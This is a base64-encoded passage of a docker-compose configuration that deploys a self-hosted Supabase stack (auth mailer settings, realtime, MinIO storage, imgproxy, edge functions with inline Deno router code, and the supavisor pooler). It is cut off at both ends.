QUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJNOi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGV